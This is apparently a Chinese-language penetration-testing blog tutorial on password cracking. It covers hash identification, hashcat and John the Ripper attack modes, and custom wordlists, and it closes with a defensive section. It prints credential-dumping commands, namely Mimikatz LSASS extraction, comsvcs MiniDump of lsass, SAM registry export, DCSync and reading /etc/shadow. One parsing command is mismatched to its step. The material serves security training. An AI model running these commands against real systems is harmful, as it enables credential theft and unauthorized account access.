Skip to content

密码破解实战手册:从哈希识别到暴力破解的完整方法论

声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于合法靶机平台。


引言:密码破解不是运气,是方法论

打靶机的时候,有一类场景让我又爱又恨——拿到一堆哈希,知道破解了就能拿到权限,但不知道用什么方法。

刚开始我总是一上来就 hashcat -m 0 hash.txt rockyou.txt,跑半天跑不出来,以为是密码太复杂。后来才明白:破解哈希是有完整方法论的——先识别哈希类型,再选正确的攻击模式,字典和规则的组合比暴力跑更高效。

这篇文章把密码破解的完整流程系统化,从哈希识别、工具选择、攻击策略,到实战中的常见场景,覆盖 CTF 和真实渗透测试的绝大多数情况。


一、哈希识别:最容易被忽视的第一步

很多人拿到哈希直接就跑,结果用错了哈希类型,跑出来的结果全是错的。

快速识别工具

bash
# hashid(最常用)
hashid '$6$rounds=656000$abc$xyz...'
hashid -m hash.txt    # -m 显示 hashcat 模式号

# hash-identifier(交互式)
hash-identifier
# 粘贴哈希后回车

# haiti(支持格式最多)
haiti 'AAD3B435B51404EEAAD3B435B51404EE:hash'

常见哈希快速辨认

特征哈希类型Hashcat 模式
32位小写十六进制MD5-m 0
40位小写十六进制SHA1-m 100
$1$ 开头MD5crypt-m 500
$2y$$2b$ 开头bcrypt-m 3200
$5$ 开头SHA256crypt-m 7400
$6$ 开头SHA512crypt(Linux shadow)-m 1800
aad3b435b51404ee... 结尾LM(空或弱密码)可忽略
: 分隔的两段 NTLMNTLM-m 1000
用户名::域名:challenge:...NetNTLMv2(Responder 抓到的)-m 5600
$krb5tgs$23$...Kerberoasting-m 13100
$krb5asrep$23$...AS-REP Roasting-m 18200

二、Hashcat:GPU 破解首选

核心语法

bash
hashcat [选项] 哈希文件 字典
参数含义
-m <mode>哈希类型
-a <mode>攻击模式(0=字典,3=暴力,6=字典+掩码)
-o output.txt输出破解结果
--show查看已破解的哈希
-r rules.txt使用规则文件
-w 3工作负荷(3=高,最快)
--status实时显示进度

四种攻击模式实战

bash
# 1. 字典攻击(最常用)
hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt

# 2. 字典 + 规则(最高效,强烈推荐)
hashcat -m 1000 ntlm.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 ntlm.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

# 3. 掩码暴力(已知密码模式时用)
hashcat -m 0 -a 3 hash.txt ?u?l?l?l?d?d?d?d   # 大写开头+3个小写+4个数字
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a        # 6位任意字符

# 4. 字典+掩码组合(单词+数字后缀)
hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d?d?d   # 字典词 + 4位数字
hashcat -m 0 -a 7 hash.txt ?d?d?d?d rockyou.txt   # 4位数字 + 字典词

掩码字符说明

掩码含义
?l小写字母 a-z
?u大写字母 A-Z
?d数字 0-9
?s特殊字符
?a所有可打印字符

常见场景命令速查

bash
# NTLM 哈希(Windows SAM / LSASS 转储)
hashcat -m 1000 ntlm.txt rockyou.txt -r best64.rule

# NetNTLMv2(Responder 抓到的,文件在 /usr/share/responder/logs/)
hashcat -m 5600 netntlmv2.txt rockyou.txt -r best64.rule

# Kerberoasting
hashcat -m 13100 kerb.txt rockyou.txt -r best64.rule

# AS-REP Roasting
hashcat -m 18200 asrep.txt rockyou.txt -r best64.rule

# Linux shadow ($6$)
hashcat -m 1800 shadow.txt rockyou.txt -r best64.rule

# bcrypt(慢,用规则没意义,直接字典)
hashcat -m 3200 bcrypt.txt rockyou.txt --force

# 查看结果
hashcat -m 1000 ntlm.txt --show

三、John the Ripper:格式转换神器

John 最大的优势是内置了大量的格式转换工具(john2*),能处理 hashcat 搞不定的文件类型。

特殊文件格式处理

bash
# ZIP 加密文件 → 破解
zip2john secret.zip > zip.hash
john zip.hash --wordlist=rockyou.txt

# RAR 加密文件
rar2john secret.rar > rar.hash
john rar.hash --wordlist=rockyou.txt

# SSH 私钥(有密码保护的 id_rsa)
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=rockyou.txt

# Linux shadow 文件
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt

# KeePass 数据库
keepass2john database.kdbx > keepass.hash
john keepass.hash --wordlist=rockyou.txt

# 加密 Word/Excel
office2john encrypted.docx > office.hash
john office.hash --wordlist=rockyou.txt

# 加密 PDF
pdf2john secret.pdf > pdf.hash
john pdf.hash --wordlist=rockyou.txt

实战经验:靶机里找到 SSH 私钥却无法登录,大概率是私钥有密码保护,ssh2john + john 是标准解法。


四、如何获取哈希

破解的前提是拿到哈希。不同场景下的获取方式:

Windows 哈希获取

bash
# 方法1:SAM 注册表(本地账户,不需要目标在线)
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# 攻击机离线解析
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

# 方法2:DCSync(域控,需要 DA 或复制权限)
impacket-secretsdump domain/admin:password@<DC_IP>
# 拿到域内所有用户的哈希

# 方法3:Mimikatz(LSASS 内存)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 方法4:无工具 LSASS 转储(最安静)
tasklist | findstr lsass   # 找 PID
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> lsass.dmp full
# 攻击机解析
impacket-secretsdump -k -no-pass -dc-ip <IP> <domain>/<user>@<target>

Linux 哈希获取

bash
# /etc/shadow(需要 root 或 shadow 组权限)
cat /etc/shadow

# 整理格式
unshadow /etc/passwd /etc/shadow > hash.txt

网络抓包捕获(NTLMv2)

bash
# Responder(监听所有常见协议)
sudo responder -I eth0 -dwv

# 抓到的哈希在
ls /usr/share/responder/logs/
# 格式为 NetNTLMv2,hashcat -m 5600 破解

五、破解策略:从快到慢的优先级

不要一上来就跑最长的字典,按优先级执行,节省时间。

第一级:在线数据库(0-10秒)
   → crackstation.net(支持 MD5/SHA1/SHA256/NTLM 等)
   → hashes.com(输入哈希直接查)
   → ntlm.pw(NTLM 专项)

第二级:字典 + 高效规则(5-30分钟)
   → rockyou.txt + best64.rule

第三级:字典 + 强规则(30分钟-2小时)
   → rockyou.txt + OneRuleToRuleThemAll.rule

第四级:目标定制字典(基于目标信息)
   → CeWL 爬目标网站生成字典
   → CUPP 基于个人信息生成字典

第五级:掩码暴力(已知密码规律)
   → 知道是"公司名+年份+特殊字符"等模式时效率高

自定义字典生成

bash
# CeWL:从目标网站爬词生成字典
cewl http://target.com -m 6 -d 3 -w custom_words.txt
# -m: 最小词长  -d: 爬取深度

# CUPP:基于个人信息定制字典(社会工程学)
python3 cupp.py -i
# 输入姓名、生日、宠物名等,自动生成常见变体

# 从现有规则扩展字典
hashcat --stdout rockyou.txt -r best64.rule > expanded.txt

六、常见密码规律(真实泄漏数据统计)

最高频:
  123456 / password / 123456789 / qwerty / 12345678
  → 直接上在线查询,秒破

企业环境常见:
  公司名+年份+特殊字符    Company2024!
  首字母大写+数字+!       Welcome1!
  季节+年份              Winter2024!
  默认密码               admin / changeme / P@ssw0rd

个人账户常见:
  名字+生日              john1990
  重复字符               aaaaaa / 111111
  键盘走位               qwerty123 / zxcvbn

实战建议:针对企业内网的密码破解,先用企业名、域名、常见词组成定制字典,比 rockyou 效率高得多。


七、蓝队视角:如何让密码破解变难

防御措施原因
密码长度 ≥ 12 位纯暴力破解时间指数级增长
包含大小写+数字+特殊字符规则破解效率大幅下降
避免字典词 + 简单变形规则库无法覆盖完全随机密码
使用密码管理器每个账户独立随机密码
bcrypt / Argon2 存储(Web应用)计算量高,GPU 加速受限
多因素认证即使密码泄露,也无法登录
监控异常登录尝试检测密码喷洒和暴力破解

关键收获

  1. 哈希识别是第一步:用错了 -m 模式,跑多久都没用。
  2. 字典 + 规则 > 纯暴力rockyou.txt + OneRule.rule 覆盖率极高,比 10 亿次暴力枚举高效得多。
  3. 在线数据库先查:crackstation 几秒钟解决常见哈希,不要浪费 GPU 时间。

参考资料

公众号

关注「极客零零七」

每周实战攻防干货 · HTB Writeup · 独家速查资料

  • 回复 提权 → Windows+Linux 提权速查 PDF
  • 回复 AD攻击 → AD 域渗透攻击手册
  • 回复 靶机 → HTB 靶机推荐清单
  • 回复 OSCP → OSCP 备考完整路线图
极客零零七 公众号二维码

扫码关注

⚠️ 内容仅供学习交流使用 | 本站访问量